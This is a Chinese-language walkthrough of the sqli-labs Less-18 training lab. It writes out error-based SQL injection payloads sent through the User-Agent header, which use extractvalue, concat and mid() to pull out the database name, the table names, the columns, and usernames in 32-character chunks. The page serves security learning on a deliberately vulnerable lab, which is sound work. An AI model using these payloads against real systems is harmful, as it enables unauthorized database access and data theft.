正文
该题为基于GET及报错的User-Agent注入,故需在参数后构造POC
报错注入的原理及攻击姿势可参考: 【网络安全】sqli-labs Less-5 解题详析
该题采用抓包进行处理
判断注入类型

由回显可知,注入类型为('注入
故注入模板为',1,1)#
查库名
',extractvalue(1,concat(0x23,database())),1)#
得到库名为security
查表名
我们以第一个1为注入点,构造POC如下:
',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#

得到四个表名
查列名
',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#

查数据
这里先介绍一下mid()函数,mid()函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:
MID(str, start, length)
其中:
str是要提取子字符串的源字符串。start指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。length指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。
例如,假设有一个字符串 "Hello, World!",如果想要提取其中的子字符串 "World",可以使用以下 MID() 函数调用:
MID("Hello,World!", 7, 5)
在这个例子中,str 是字符串 "Hello, World!",start 是 7,length 是 5。因此,MID() 函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"。
我们以username列为例,利用mid()函数构造POC如下:
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串
接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:
POC如下:
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'

同理,32改为64后得到:

本文详细解析了SQLi-Labs Less-18挑战的解题过程,通过构造特定的SQL注入POC,利用extractvalue和mid函数,成功获取了数据库名称、表名、列名及数据,展示了报错注入技巧。
1987

被折叠的 条评论
为什么被折叠?



